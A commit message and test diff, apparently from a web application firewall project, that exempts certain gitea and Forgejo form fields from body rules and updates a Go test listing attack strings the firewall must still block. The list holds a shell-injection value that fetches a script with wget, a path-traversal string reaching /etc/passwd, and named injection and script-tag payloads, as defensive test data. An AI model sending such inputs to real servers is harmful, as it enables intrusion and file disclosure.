Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)

While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:

- the web editor's tree_path, commit_summary and content;
- new_branch_name of a branch created on the web or the API;
- from and to of a renamed branch, on gitea's and Forgejo's paths;
- head of a pull request and message of a file, through the API.

None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.

Model: opus-5-5

internal/coreruleset/vaultwarden_test.go

@@ -199,7 +199,7 @@ func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
 var vaultwardenAttacks = []string{
 	injection,
 	scriptTag,
-	"; wget http://example.com/x.sh",
+	shellCommand,
 	"../../etc/passwd",
 }